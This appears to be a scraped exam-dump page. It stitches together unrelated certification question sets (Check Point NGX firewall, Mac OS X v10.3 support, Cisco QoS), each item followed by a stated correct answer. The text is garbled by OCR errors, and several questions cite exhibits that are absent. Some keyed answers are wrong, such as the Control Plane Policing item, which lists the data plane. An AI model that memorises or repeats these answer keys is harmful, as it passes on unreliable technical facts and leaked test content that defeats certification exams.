C. Specifies the number of seconds that a Securemote client waits for a reply to a RDP status query
D. Controls the time to live when accessing a DNS server
Correct Answer: C

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QUESTION 119
You create implicit and explicit rules for the following network. The group object “internal-networks” include networks 10.10.10.0 and 10.10.20.0. Assume “Accept ICMP requests” is enabled as before last in the Global Properties.

Based on these rules, what happens if you Ping from host 10.10.10.5 to a host on the Internet, by IP address? ICMP will be:
A. dropped by rule 0
B. dropped by rule 2, the Cleanup Rule
C. accepted by rule 1
D. dropped by the last implicit rule
E. accepted by the implicit rule

Correct Answer: C
QUESTION 120
What does schema checking do?
A. Authenticates users attempting to access resources protected by an NGX Security Gateway.
B. Verifies that every object class, and its associated attributes, is defined in the directory schema.
C. Maps LDAP objects to objects in the NGX objects_5_0.c files.
D. Verifies the Certificate Revocation List for Certificate Validity.
E. Provides topology downloads for SecuRemote and SecureClient users authenticated by an LDAP server.

Correct Answer: B
QUESTION 121
Jill is about to test some rule and object changes suggested in an NGX newsgroup. Which backup and restore solution should Jill use, to ensure she can most easily restore her Security Policy to its previous configuration, after testing the changes?
A. SecurePlatform backup utilities
B. Manual copies of the $FWDIR/conf directory
C. Upgrade_export and upgrade_import commands
D. Policy Package management
E. Database Revision Control

Correct Answer: E
QUESTION 122
You want VPN traffic to match packets from internal interfaces. You also want the traffic to exit the Security Gateway, bound for all site-to-site VPN Communities, including Remote Access Communities. How should you configure the VPN match rule
A. internalclear>All-GwToGw
B. Communities>Communities
C. Internalclear>ExternalClear
D. Internalclear>Communities
E. Internalclear>Allcommunities

Correct Answer: E
QUESTION 123
Review the following rules and note the Client Authentication Action properties screen, as shown in the
exhibit.
After being authenticated by the Security Gateway when a user starts an HTTP connection to a Web site
the user tries to FTP to another site using the command line. What happens to the user?
The….

A. FTP session is dropprd by the implicit Cleanup Rule.
B. User is prompted from the FTP site only, and does not need to enter username nad password for the Client Authentication.
C. FTP connection is dropped by rule 2.
D. FTP data connection is dropped, after the user is authenticated successfully.
E. User is prompted for authentication by the Security Gateway again.

Correct Answer: B
QUESTION 124
What is the command to see the licenses of the Security Gateway Certkiller from your SmartCenter Server?
A. print Certkiller
B. fw licprint Certkiller
C. fw tab -t fwlic Certkiller
D. cplic print Certkiller
E. fw lic print Certkiller
Correct Answer: D
QUESTION 125
Ophelia is the security Administrator for a shipping company. Her company uses a custom application to update the distribution database. The custom application includes a service used only to notify remote sites that the distribution database is malfunctioning. The perimeter Security Gateways Rule Base includes a rule to accept this traffic. Ophelia needs to be notified, via atext message to her cellular phone, whenever traffic is accepted on this rule. Which of the following options is MOST appropriate for Ophelia’s requirement?
A. User-defined alert script
B. Logging implied rules
C. SmartViewMonitor
D. Pop-up API
E. SNMP trap

Correct Answer: A
QUESTION 126
Which of the following is the final step in an NGXbackup?
A. Test restoration in a non-production environment, using the upgradeimport command
B. Move the *.tgz file to another location
C. Run the upgradeexport command
D. Copy the conf directory to another location
E. Run the cpstop command

Correct Answer: B
QUESTION 127
Which mechanism is used to export Check Point logs to third party applications?
A. OPSE
B. CPLogManager
C. LEA
D. SmartViewTracker
E. ELA

Correct Answer: C
QUESTION 128
In NGX, what happens if a Distinguished Name (ON) is NOT found in LADP?
A. NGX takes the common-name value from the Certificate subject, and searches the LADP account unit for a matching user id
B. NGX searches the internal database for the username
C. The Security Gateway uses the subject of the Certificate as the ON for the initial lookup
D. If the first request fails or if branches do not match, NGX tries to map the identity to the user id attribute
E. When users authenticate with valid Certificates, the Security Gateway tries to map the identities with users registered in the extemal LADP user database
Correct Answer: D
QUESTION 129
Which command allows you to view the contents of an NGX table?
A. fw tab -s <tablename>-
B. fw tab -t <tablename>-
C. fw tab -u <tablename>-
D. fw tab -a <tablename>-
E. fw tab -x <tablename>-

Correct Answer: B QUESTION 130
The following is cphaprobstate command output from a New Mode High Availability cluster member:

Which machine has the highest priority?
A. 192.168.1.2,since its number is 2
B. 192.168.1.1,because its number is 1
C. This output does not indicate which machine has the highest priority
D. 192.168.1.2, because its state is active

Correct Answer: B
QUESTION 131
What do you use to view an NGX Security Gateway’s status, including CPU use, amount of virtual memory, percent of free hard-disk space, and version?
A. SmartLSM
B. SmartViewTracker
C. SmartUpdate
D. SmartViewMonitor
E. SmartViewStatus

Correct Answer: D
QUESTION 132
Which of the following commands is used to restore NGX configuration information?
A. cpcontig
B. cpinfo-i
C. restore
D. fwm dbimport
E. upgradeimport

Correct Answer: E
QUESTION 133
Which of the following commands shows full synchronizalion status?
A. cphaprob -i list
B. cphastop
C. fw ctl pstat
D. cphaprob -a if
E. fw hastat
Correct Answer: C
QUESTION 134
Which VPN Community object is used to configure VPN routing within the SmartDashboard?
A. Star
B. Mesh
C. Remote Access
D. Map

Correct Answer: A
QUESTION 135
If you are experiencing LDAP issues, which of the following should you check?
A. Secure lnternal Cornrnunicalions(SIC)
B. VPN tunneling
C. Overlapping VPN Domains
D. NGX connectivity
E. VPN Load Balancing

Correct Answer: D
QUESTION 136
Which operating system is not supported byVPN-1 SecureClient?
A. IPS0 3.9
B. Windows XP SP2
C. Windows 2000 Professional
D. RedHat Linux 7 0
E. MacOS X

Correct Answer: A
QUESTION 137
Which Check Point QoS feature issued to dynamically allocate relative portions of available bandwidth?
A. Guarantees
B. Differentiated Services
C. Limits
D. Weighted Fair Queueing
E. Low Latency Queueinq

Correct Answer: D
QUESTION 138
You are running a VPN-1 NG with Application Intelligence R54 SecurePlatform VPN-1 Pro Gateway. The Gateway also serves as a Policy Server. When you run patch add cd from the NGX CD, what does this command allow you to upgrade?
A. Only VPN-1 Pro Security Gateway
B. Both the operating system (OS) and all Check Point products
C. All products, except the Policy Server
D. On~ the patch utility is upgraded using this command
E. Only the OS

Correct Answer: B
QUESTION 139
Amanda is compiling traffic statistics for Certkiller .com’s Internet activity during production hours. How could she use SmartView Monitor to find this information? By
A. using the “Traffic Counters” settings and SmartView Monitor to generate a graph showing the total HTTP traffic for the day
B. -monitoring each specific user’s Web traffic use.
C. Viewing total packets passed through the Security Gateway
D. selecting the “Tunnels” view, and generating a report on the statistics
E. configuring a Suspicious Activity Rule which triggers an alert when HTTP traffic passes through the Gateway

Correct Answer: A
QUESTION 140
Certkiller is the Security Administrator for a software-development company. To isolate the corporate network from the developer’s network, Certkiller installs an internal Security Gateway. Jack wants to optimize the performance of this Gateway. Which of the following actions is most likely to improve the Gateway’s performance?
A. Remove unused Security Policies from Policy Packages
B. Clear all Global Properties check boxes, and use explicit rules
C. Use groups within groups in the manual NAT Rule Base
D. Put the least-used rules at the top of the Rule Base
E. Use domain objects in rules, where possible

Correct Answer: A
QUESTION 141
Certkiller is the Security Administrator for a chain of grocery stores. Each grocery store is protected by a Security Gateway. Certkiller is generating a report for the information-technology audit department. The report must include the name of the Security Policy installed on each remote Security Gateway, the date and time the Security Policy was installed, and general performance statistics (CPU Use, average CPU time, active real memory, etc.). Which SmartConsole application should Certkiller use to gather this information?
A. SmartUpdate
B. SmartView Status
C. SmartView Tracker
D. SmartLSM
E. SmartView Monitor

Correct Answer: E
QUESTION 142
How can you reset Secure Internal Communications (SIC) between a SmartCenter Server and Security Gateway?
A. Run the command fwm sicreset to reinitialize the Internal Certificate Authority (ICA) of the SmartCenter Server. Then retype the activation key on the Security-Gateway from SmartDashboard
B. From cpconfig on the SmartCenter Server, choose the Secure Internal Communication option and retype the actrvation key Next, retype the same key in the gateway object in SmartDashboard and reinitialize Secure Internal Communications (SIC)
C. From the SmartCenter Server’s command line type fw putkey -p <shared key>- <IP Address of SmartCenter Server>-.
D. From the SmartCenter Server’s command line type fw putkey -p <shared key>- <IP Address of security Gateway>-.
E. Re-install the Security Gateway
Correct Answer: B QUESTION 143
Which NGX feature or command allows Security Administrators to revert to earlier versions of the Security Policy without changing object configurations?
A. upgradeexport/upgradeimport
B. Policy Package management
C. fwm dbexport/fwm dbimport
D. cpconfig
E. Database Revision Control

Correct Answer: B
QUESTION 144
Certkiller is the Security Administrator for Certkiller .com’s large geographically distributed network. The internet connection at one of her remote sites failed during the weekend, and the Security Gateway logged locally for over 48 hours. Certkiller is concerned that the logs may have consumed most of the free space on the Gateway’s hard disk. Which SmartConsole application should Certkiller use, to view the percent of free hard-disk space on the remote Security Gateway?
A. SmartView Status
B. SmartView Tracker
C. SmartUpdate
D. SmartView Monitor
E. SmartLSM

Correct Answer: D
QUESTION 145
Certkiller is recently hired as the Security Administrator for a public relations company. Certkiller’s manager has asked her to investigate ways to improve the performance of the firm’s perimeter Security Gateway. Certkiller must propose a plan based on the following required and desired results Required Result #1: Do not purchase new hardware Required Result #2: Use configuration changes that do not reduce security Desired Result #1: Reduce the number of explicit rules in the Rule Base Desired Result #2: Reduce the volume of logs Desired Result #3: Improve the Gateway’s performance Proposed Solution: Certkiller recommends the following changes to the Gateway’s configuration:
1.
Replace all domain objects with network and group objects.

2.
Stop logging Domain Name over UDP (queries)

3.
Use Global Properties, instead of explicit rules, to control ICMP. VRRP, and RIP. Does Certkiller’s proposed solution meet the required and desired result s?
A. The solution meets the required results, and two of the desired results
B. The solution does not meet the required results
C. The solution meets all required results, and none of the desired results
D. The solution meets all required and desired results
E. The solution meets the required results, and one of the desired results
Correct Answer: A
QUESTION 146
What is a Consolidation Policy?
A. The collective name of the Security Policy, Address Translation, and SmartDefense Policies
B. The specific Policy used by Eventia Reporter to configure log-management practices
C. The state of the Policy once installed on a Security Gateway
D. A Policy created by Eventia Reporter to generate logs
E. The collective name of the logs generated by Eventia Reporter

Correct Answer: B
QUESTION 147
To change an existing ClusterXL cluster object from Multicast to Unicast mode, what configuration change must be made?
A. Change the cluster mode to Unicast on the cluster object Reinstall the Security Policy
B. Reset Secure Internal Communications (SIC) on the cluster-member objects. Reinstall the Security Policy
C. Run cpstop and cpstart, to reenable High Availability on both objects. Select Pivot mode in cpconfig
D. Change the cluster mode to Unicast on the cluster-member object
E. Switch the internal network’s default Security Gateway to the pivot machine’s IP address
Correct Answer: A

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QUESTION 91
Which is the requirement when initially configuring a Bluetooth device, such as a cell phone, to pair with a computer running Mac OS X v10.3?
A. The computer or the device must be set up to be Discoverable.
B. The computer and the device must have the sleep function disabled.
C. The computer and the device must be within line of sight of each other.
D. The computer or the device must be set to Require Network Authentication.
Correct Answer: A
QUESTION 92
The Universal Access pane in System Preferences allows you to __________________.
A. Configure the screen to zoom in and out.
B. Turn speech recognition on and off.
C. Create new keyboard shortcuts.
D. Configure a USB tablet.

Correct Answer: A
QUESTION 93
Which is the default location of all kernel extensions (“kext” files) in Mac OS X v10.3?
A. /Library/Extensions/
B. /System/Extensions/
C. /System Folder/Extensions/
D. /System/Library/Extensions/

Correct Answer: D
QUESTION 94
What can you use to find out the number of hops between your computer and another computer on an IP network?
A. Traceroute
B. Lookup
C. Whois
D. Ping

Correct Answer: A
QUESTION 95
Which three are useful steps in troubleshooting an issue where a webpage won’t load? (Choose three.)
A. Use Network Utility DNS Scan command to locate DNS servers on the network.
B. Verify the network settings in the Network pane of System Preferences.
C. Use Network Utility Ping command to test IP connectivity.
D. Use Network Utility Lookup tool to test known DNS servers.
E. Use System Profiler to review the Network Activity report.
F. Use Network Monitor to review the Activity Report.
Correct Answer: BCD
QUESTION 96
Which Mac OS X v10.3 utility is helpful when troubleshooting a computer’s Ethernet connectivity?
A. Network Utility
B. Activity Monitor
C. Network Monitor
D. Internet Connect
Correct Answer: A
QUESTION 97
Which method below will NOT help you confirm that you have set up TCP/IP correctly?
A. Use the Ping feature in Network Utility
B. Transfer a file using Bluetooth File Exchange.
C. Open Internet Explorer and view an external webpage
D. Verify that you can successfully send mail from a configured mail account.

Correct Answer: B
QUESTION 98
To set up PPPoE, which port must you configure?
A. Modem
B. Ethernet
C. FireWire
D. AppleTalk

Correct Answer: B
QUESTION 99
Network administrators can create and distribute specific VPN configurations, which users can add to their systems by ___________.
A. Copying and pasting the Internet Connect application preferences at UserName>Library>Preferences>com.apple.internetconnect.plist
B. Choosing Import Configurations from the File menu of the Internet Connect application
C. Choosing Save and Open Configurations from the File menu of the Internet Connect application
D. Clicking the Import button in the Internal Modem window of the Internet Connect application

Correct Answer: B
QUESTION 100
Mac OS X v10.3 supports which kinds of VPN connections? (Choose all that apply.)
A. PPoE
B. L2TP
C. PPTP
D. NAT
E. P2P

Correct Answer: BC
QUESTION 101
The Lookup pane in Network Utility is used to _____________. (Choose all that apply).
A. Find the complete route between your computer and another computer on an IP network.
B. Determine which ports on a computer are closed.
C. Determine which ports on a computer are open.
D. Resolve domain names to IP addresses.
E. Resolve IP addresses to domain names.
F. Display routing table information
Correct Answer: DE
QUESTION 102
In Mac OS X v10.3, changes to network configuration ____________.
A. Require a restart
B. Are user-specific
C. Require administrator authorization
D. Are made in the Internet pane of System Preferences.

Correct Answer: C
QUESTION 103
What can you use to determine whether there is an active network connection between two computers?
A. Lookup
B. Netstat
C. Whois
D. Ping

Correct Answer: D
QUESTION 104
Which three tasks can you perform with Disk Utility? (Choose three).
A. Erase a CD-RW disk.
B. Determine disk usage by user name.
C. Verify and repair a UFS-formatted disk.
D. Create an encrypted partition on a hard disk.
E. Discover details about top-level directories on a FireWire disk drive.
F. Discover details about a FireWire drive such as size and configuration.

Correct Answer: ACF
QUESTION 105
To make a font available to Classic applications, install the font in ______________.
A. /User/Fonts
B. /Library/Fonts
C. /System Folder/Fonts
D. /System Library/Fonts
E. /System Folder/Font Book

Correct Answer: C
QUESTION 106
Mac OS X v10.3 administrator named “Certkiller” can view the details of a kernel panic in ____________.
A. /Library/Logs/kp.log
B. /Library/Logs/panic.log
C. /Users/Certkiller/Library/Logs/kp.log
D. /Users/Certkiller /Library/Logs/panic.log
Correct Answer: B
QUESTION 107
A disk image file ___________. (Choose all that apply.)
A. can be encrypted at the time it is created
B. has the extension .img or .dmg by default
C. can only be created from the command line
D. is represented by a folder icon when mounted
E. can only be create by the System Administrator
F. may represent a compressed folder and its content
Correct Answer: ABF QUESTION 108
Disk utility can display _______________. (Choose all that apply.)
A. a disk drive capacity
B. a list of partitions on a disk drive
C. the volume format of a mounted partition
D. the number of files in the system folder
E. the number of files on an unmounted partition
F. information about internal drives only, not external drives

Correct Answer: ABC
QUESTION 109
Suppose you are an administrator named “sandra”. To make a font available for all local users to access, install the font file in ______________.
A. /Users/Sandra/Library/Fonts
B. /System/Library/Fonts
C. /Users/Library/Fonts
D. /Library/Fonts

Correct Answer: D
QUESTION 110
The Repair Disk Permissions feature of Disk Utility can ONLY repair permissions_____________________. (Choose all that apply.)
A. on a volume with Mac OS X system software installed.
B. If the computer is booted from the Mac OS X Install disc
C. Of top-level directories, such as /System and /Users only
D. Of user-created files, by restoring them to a previously saved state
E. Of system files, by restoring their permissions to the default configuration

Correct Answer: AE
QUESTION 111
Which two directories will NOT exist by default on which you have installed Mac OS X v10.3 and added a single user named “Certkiller”? (Choose two.)
A. /Fonts
B. /Applications
C. /Library/Preferences
D. /System/Library/Caches
E. /Users/Certkiller/Documents
F. /Users/Certkiller/Library/Caches
G. /Users/Shared/Library/Caches
Correct Answer: AG
QUESTION 112
Disk Utlity with Mac OS X v10.3 allows you to configure drives in RAID configurations of what level(s)?
A. Level 0 only
B. Level 1 only
C. Level 0 or 1
D. Level 1 or 5
E. Level 0, 1, or 5

Correct Answer: C
QUESTION 113
By default in Mac OS X v10.3, you can use the Finder to______________. (Choose all that apply.)
A. Burn a CD
B. Create a disk image file
C. See every file in your home directory
D. To archive multiple items simultaneously using the Archive menu item
E. Empty the trash securely, so that data-recovery software cannot restore the files.

Correct Answer: ADE
QUESTION 114
In what order does Mac OS X v10.3 search for resources such as fonts?
A. ~/Library,/Library,/System/Library
B. /Library,~/Library,/System/Library
C. /System/Library,~/Library,/Library
D. ~/Library,/System/Library,/Library
E. /Library,/System/Library, ~/Library

Correct Answer: A
QUESTION 115
You can use ___________ to create disk image files.
A. CpMac
B. Image Disk
C. Disk Utility
D. Image Capture

Correct Answer: C
QUESTION 116
You are currently in the same directory as a file called ” Certkiller 3″. To view this file contents from the command line you can type ____________. (Choose all that apply.)
A. cat Certkiller 3
B. cat Certkiller \3
C. cat Certkiller \3
D. cat Certkiller \ 3
E. cat ” Certkiller 3″

Correct Answer: DE
QUESTION 117
Exhibit
ls *.*
You enter this command in a Terminal Window. Which file names would be listed in the output of the
command? (Choose all that apply.)

A. Certkiller .exe
B. Index.html
C. Myfile
D. Hello
E. X

Correct Answer: AB
QUESTION 118
Which command is included with the Mac OS X Developer Tools, but NOT with a default installation of Mac OS X v10.3?
A. du
B. pwd
C. open
D. ditto
E. CpMac

Correct Answer: E
QUESTION 119
Which command is found on Mac OS X v10.3, as well as on other versions of UNIX?
A. system_profiler
B. ditto
C. ppen
D. ls

Correct Answer: D
QUESTION 120
A Mac OS X v10.3 user can view a file ownership and access permissions by _________. (Choose all that apply.)
A. viewing the file in Column View
B. using the ls -l command in the Terminal utility.
C. Pressing the Verify Permissions button in Disk Utility.
D. Selecting the file and choosing Get Info from the File menu.
E. Selecting the Permissions tab in the Apple System Profiler utility

Correct Answer: BD
QUESTION 121
By default, the Mac OS X v10.3 shell prompt includes the “#” character after the user name when you ____________.
A. Are in your home directory.
B. Have connected to another computer using ssh
C. Are logged in as a user who is the Group Admin
D. Are running the shell as the System Administrator
Correct Answer: D
QUESTION 122
Which three are ways to access the command line in Mac OS X v10.3? Choose three.
A. Use the Console Utility.
B. Use the Network Utility.
C. Use the Terminal Utility.
D. Start up in verbose mode.
E. Log in remotely using SSH.
F. Start up in single-user mode.
G. Choose Command from the Apple menu.

Correct Answer: CEF
QUESTION 123
You are in a Terminal window, and your current directory is your home directory.
What could you type to display the contents of the file named ” Certkiller File”, which resides in your home directory? (Choose all that apply.)
A. cat Certkiller File
B. cat ../ Certkiller File
C. cat ~ Certkiller File
D. cat ./ Certkiller File
E. cat ~/ Certkiller File

Correct Answer: ADE
QUESTION 124
Exhibit Owner: Read & Write Group: Write only Others: Write only You create a folder in your home directory from the Finder, and set its permissions as shown in the exhibit. When you an ls -l ~ listing, the file for this folder begins with _____________.
A. -rw–w–w-
B. drw-w-w-
C. drwx-wx-wx
D. -rwx-wx-wx
E. frwx-wx-wx-
F. frw–w-wLeading the way in IT testing and certification tools, www. Certkiller .com
Correct Answer: C
QUESTION 125
Which method would you use to shut down Classic?
A. Hold down Control-Option-Escape
B. Quite all running Classic applications.
C. Click Stop in the Classic pane of System Preferences.
D. Control-click on the Finder icon in the Dock and choose Quite Classic from contextual menu.

Correct Answer: C
QUESTION 126
Suppose you are a Mac OS X v10.3 user named Certkiller. Where would you put a file in order to share it with network guests?
A. /Users/Shared
B. /Users/Public
C. /Users/Certkiller/Shared
D. /Users/Certkiller/Public
Correct Answer: D QUESTION 127
A non-administrative Mac OS X v10.3 user named “Dr Bill” wants to use an iMac with Mac OS X v10.3 as web server. Where should he put his HTML files to be shared?
A. /Users/Public
B. /Users/Shared
C. /Users/Dr Bill/Sites
D. /Users/Dr Bill/Shared

Correct Answer: C
QUESTION 128
Mac OS X v10.3 Internet Sharing lets you share your Internet connections with other users via _______. (Choose all that apply.)
A. AirPort
B. Ethernet
C. Bluetooth
D. Modem
E. USB

Correct Answer: AB
QUESTION 129
The Sharing pane of System Preferences has an option to __________.
A. Create network users and groups
B. Share your Internet connection
C. Create a disk partition to share
D. Set up FTP accounts

Correct Answer: B
QUESTION 130
If Sandra disables AppleTalk in the Directory Access utility on her iMac running Mac OS X v10.3, what is the result?
A. Sandra cannot print to AppleTalk printers from her iMac.
B. Sandra’s iMac no longer discovers servers via AppleTalk.
C. Sandra cannot connect to an AFP filer server from her iMac.
D. Users on other computers cannot connect to Sandra’s iMac via AFP.

Correct Answer: B
QUESTION 131
Network users often have multiple passwords, a distinct password for each network service they caccess. Which is NOT a valid way to simplify this situation for users in Mac OS X v10.3?
A. Set up a Kerberos environment on the network.
B. Have users store their login information for different server in Keychain.
C. Set up a directory service to make user and password information available to all computers.
D. Have users access network servers without authentication, using the Network icon in the Finder -rather than using the Connect to Server command, which requires users to authenticate.
Correct Answer: D
QUESTION 132
What are two ways to configure Mac OS X v10.3 to get LDAP information? Choose two.
A. Use Directory Access to configure Mac OS X v10.3 to get LDAP information from a DNS server.
B. Use Directory Access to configure Mac OS X v10.3 to use DHCP-supplied LDAP server information.
C. Use Directory Access to configure Mac OS X v10.3 with the IP address, type, and search base of a specific LDAP server.
D. Use the Sharing pane of System Preferences to configure Mac OS X v10.3 to use an Active Directory server as an LDAP server.

Correct Answer: BC
QUESTION 133
Authentication is ______________.
A. The system feature that determines whether you can access a file as Owner, Group, or Other.
B. The process whereby you prove your claimed identity to the computer system.
C. The association between your claimed user name and UID.
D. Used as a substitute for a password.

Correct Answer: B
QUESTION 134
Which statements are true of Kerberos? (Choose all that apply.)
A. Kerberos uses tickets.
B. Kerberos requires LDAP.
C. Kerberos requires service discovery.
D. Kerberos is a way to perform authentication.
E. Your computer presents your user name and password to each server.

Correct Answer: AD
QUESTION 135
In Mac OS X v10.3, you cannot use the Finder’s “Connection to Server” command to select ______________.
A. WebDAV servers
B. SSH servers
C. AFP servers
D. Your iDisk
Correct Answer: B
QUESTION 136
Dynamic service discovery protocols on Mac OS X v10.3 include ____________.
Choose all that apply.
A. Active Directory
B. Rendezvous
C. AppleTalk
D. Netinfo
E. LDAP
F. SMB
Correct Answer: BCF QUESTION 137
Some computers on a subnet have statically assigned IP addresses that start with “10”. And others are using the built-in Rendezvous protocol to self-assign link-local IP addresses. All the computers have file sharing turned on. What statement is FALSE?
A. A user on a computer with a link-local address can browse a computer with a static address.
B. A user on a computer with a static address can browse a computer with a link-local address.
C. A user on a computer with a link-local address can browse a computer with a link-local address.
D. A user on a computer with a static address can browse a computer with a static address by specifying the IP address.
E. A user on a computer with a link-local address can connect to a computer with a static address by specifying the IP address.

Correct Answer: A
QUESTION 138
Which can you NOT do using the Kerberos application in Mac OS X v10.3?
A. View a ticket.
B. Renew a ticket.
C. Force a network service to accept a ticket.
D. Change the password you sue to get a ticket.

Correct Answer: C
QUESTION 139
Using Directory Access, you can configure your computer to__________.
A. Use a specific WINS server for SMB service discovery.
B. Be a member of more than one Windows workgroup.
C. Disable Finder’s Connect to Server feature.
D. Use AppleTalk to discover SMB services.

Correct Answer: A
QUESTION 140
Over which three of these protocols can network volumes be mounted using the “Connect to Server” command from the Finder? Choose three.
A. SMB
B. POP
C. FTP
D. DSL
E. NFS
F. IPP

Correct Answer: ACE
QUESTION 141
In Mac OS X v10.3, the default permission for Group and Others on the Drop Box folder in a user’s Public folder are ____________.
A. Read only
B. Write only
C. No Access
D. Read & Write

Correct Answer: B
QUESTION 142
The Accounts pane of System Preferences lets you configure an account to __________.
A. Have Read only access.
B. Use a Simple Finder environment
C. Recognize multiple valid passwords
D. Log in to the computer only via FTP

Correct Answer: B
QUESTION 143
Which statement about FileVault is TRUE?
A. Once a user enables FileVault, it cannot be disabled.
B. FileVault can only be enabled for non-administrator user accounts.
C. There is no way to recover a FileVault-protected account user’s data if the password is lost.
D. When a user enables FileVault, that user’s home directory is transferred into an encrypted disk image.

Correct Answer: D
QUESTION 144
In Mac OS X v10.3, where can a non-administrator user named “ann” store her files?
A. /System
B. /Users/ann
C. /Applications
D. /Users/Home/ann

Correct Answer: B
QUESTION 145
Which statement about file and folder permissions is TRUE Mac OS X v10.3?
A. Any user can delete a file from another user’s Drop Box.
B. A file’s permissions are always identical to its enclosing folder’s permissions.
C. A user Read only permissions to a folder cannot view any files in that folder.
D. A user with Read & Write permissions to a folder cannot delete any files in that folder.
E. A user with Read only permissions to a folder cannot rename any files in that folder.

Correct Answer: E
QUESTION 146
When you delete a user named “Certkiller” using the graphical user interface in Mac OS X v10.3, the contents of Certkiller’s home folder can be ______________. (Choose all that apply.)
A. Deleted immediately
B. Moved to a folder named “Certkiller Deleted”
C. Converted to a .sit file and moved to the Deleted Users folder.
D. Converted to a .zip file and moved to the Deleted Users folder.
E. Converted to a .dmg file and moved to the Deletes Users folder.
Correct Answer: AE
QUESTION 147
How does an administrator user delete another user in Mac OS X v10.3 OS X v10.3?
A. Open Terminal and use the du command to delete the selected user.
B. Open the Users control panel, select a user to delete, and click the Delete button.
C. Open the Accounts pane of System Preferences, select a user to delete, and click the Delete (minus sign) button.
D. Open the /Users folder, select a user’s folder to delete, drag the folder to the Trash, and choose Empty Trash from the finder menu.

Correct Answer: C
QUESTION 148
By default in Mac OS X v10.3, the contents of which folders in a user’s home directory can be accessed by all other user accounts? Choose all that apply.
A. Documents
B. Library
C. Public
D. Music
E. Sites

Correct Answer: CE
QUESTION 149
What permissions can you set on file named ” Certkiller .rtf” using Ownership & Permissions section of the file’s Info window? Choose all that apply.
A. Delete
B. Read only
C. Write only
D. No access
E. Execute only
F. Read & Write

Correct Answer: BDF
QUESTION 150
During the Mac OS X v10.3 startup sequence, a Macintosh checks for a pressed C key, which tells the computer to start up from a CD volume rather than from a hard disk volume. This checks occurs immediately after _______________.
A. BootX loads
B. Open Firmware is initialzed.
C. The Kernel environment loads
D. The POST (Power On Self Test) passes
Correct Answer: B
QUESTION 151
How do you boot a Mac OS X v10.3 computer in a single-user mode?
A. Restart while holding down the S key.
B. Restart while holding down Command-S.
C. Restart while holding down Command-Option-S.
D. Choose “Restart in single-user mode” from the Apple menu.
E. Click the Single User checkbox in the Startup Disk pane of System Preferences, and restart.
Correct Answer: B QUESTION 152
Booting Mac OS X v10.3 in verbose mode is most useful as a troubleshooting tool when _____________.
A. The system repeatedly crashes during startup
B. You repeatedly encounter application crashes.
C. The computer cannot communicate with a printer
D. You repeatedly encounter system crashes after logging in

Correct Answer: A QUESTION 153
After the mach_init and BSD init processes execute successfully, init runs the rc scripts located in _________ to perform basic system initialization tasks.
A. /etc
B. /var
C. /init
D. /System/Library

Correct Answer: A QUESTION 154
Which application provides the most detail about system processes in Mac OS X v10.3?
A. Process Viewer
B. System Profiler
C. Activity Monitor
D. CPU Monitor Expanded Window

Correct Answer: C QUESTION 155
The Classic pane of System Preferences lets you____________.
A. Install Mac OS X v10.3 OS 9 applications.
B. Run Mac OS X v10.3 OS 9 Software Updates.
C. Prevent Mac OS 8 applications from being started.
D. Monitor the memory usage of Classic applications and processes.

Correct Answer: D QUESTION 156
UNIX-based applications that require the X Windows System server can be opened in Mac OS X v10.3 using ________________.
A. FreeX98 for Mac OS X.
B. WIN-X for Mac OS X
C. X11 for Mac OS X
D. Console

Correct Answer: C QUESTION 157
Which are ways to force quite an open Mac OS X v10.3 application? Choose all that apply.
A. Use the forcequit command in Terminal.
B. Press Command-Option-Escape and select the application from the list.
C. Press Command-Control-Escape and select the application from the list.
D. Select the application in System Profiler and click the Force Quit button.
E. Choose Force Quit from the Apple menu and select the application from the list.

Correct Answer: BE
QUESTION 158
The function of journaling in the Mac OS Extended file system is to _______________.
A. Provide support for file forks
B. Make the file system case-sensitive
C. Make the file system compatible with the Windows (MS-DOS) format
D. Provide the user with a journal that lists recently created files and directories
E. Help protect the file system integrity in the case of power outages or unforeseen system failures

Correct Answer: E
QUESTION 159
Mac OS X v10.3 administrator users can enable a personal firewall by clicking the Start button in the Firewall pane of _________________.
A. Network Utility
B. NetInfo Manager
C. The Network pane of System Preferences
D. The Sharing pane of System Preferences
Correct Answer: D

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Cisco 642-845 Exam Topics, Sale Latest Cisco 642-845 Dumps PDF Online Sale

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QUESTION 159
Which two Cisco router functional planes are protected by Control Plane Policing (CoPP)? (Choose two.)
A. Data plane
B. Control plane
C. Service plane
D. Management plane
E. Hyper plane

Correct Answer: AD Section: (none) Explanation
Explanation/Reference:
QUESTION 160
QoS preclassification is a term used to describe what Cisco IOS feature?
A. AutoQoS
B. Modular QoS Command-Line Interface
C. QoS for VPNs
D. AutoSecure

Correct Answer: C Section: (none) Explanation
Explanation/Reference: QUESTION 161
Question: 161
What are two steps to define a QoS policy? (Choose two.)

A. Set a minimum bandwidth guarantee.
B. Increase bandwidth.
C. Determine a specific transfer rate.
D. Establish timers.
E. Configure CBWFQ for best-effort traffic.
F. Set a maximum bandwidth limit.

Correct Answer: AF Section: (none) Explanation
Explanation/Reference:
QUESTION 162

Using the SDM output from the Edit QoS Policy Tab in the Quality of Service Tasks under the Configure
button, answer the following questions:
Case Study# 1 (Questions)

Question:1
Which DSCP value will the Branch router apply to voice traffic destined for the Central from the IP Phone
on the local network?

A. 46 (ef)
B. 48 (vs6)
C. 50
D. 56 (cs7)
E. 70
Answer: A
Question: 2 Which DSCP value will the Branch router apply to voice traffic destined for the IP Phone on the local network from the Central site?
A. 46 (ef)
B. 48 (cs6)
C. 50
D. 56 (cs7)
E. 70 Answer: A
Question: 3 Which QoS model has been implemented on the Branch router by the SDM wizard for the various expected traffic types?

A. Best Effort
B. IntServ
C. DiffServ
D. Priority Queuing
Answer: C
Question: 4 During periods of congestion which queuing method will be applied to outbound traffic on the Serial0/3/0 interface?
A. Low Latency Queuing
B. Class-based Weighted Fair Queuing
C. Weighted Round Robin
D. Round Robin
E. No queuing is applied to outbound traffic on this interface. Answer: A
A.

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 163
Scenario:
Law Solutions, Inc. is a large, worldwide law firm. Using the AutoQoS feature of IOS, the company recently
implemented QoS policies at one of their Branch locations. As a recent addition to the network engineering
team, you have been tasked with documenting the active QoS configuration at the branch router.
Additionally, the firm is experiencing poor video quality with newly installed video-conferencing equipment.
The video problems at the branch location seem to occur only during peak hours when some network
congestion is expected.
Output:

Topology

Using the show run output of the branch router, answer the following questions:
Case Study# 2 (Questions)
Question: 1
Which DSCP value will the Branch router apply to video traffic destined for the Central site from the video
equipment on the local network?

A. 8 (cs1)
B. 10 (af11)
C. 18 (af21)
D. 24 (cs3)
E. 46 (ef)
F. no value
Answer: E
Question: 2 Which two statements most accurately identify what has caused the occasional poor video quality experienced by the Law Solutions, Inc.? (Choose two.)
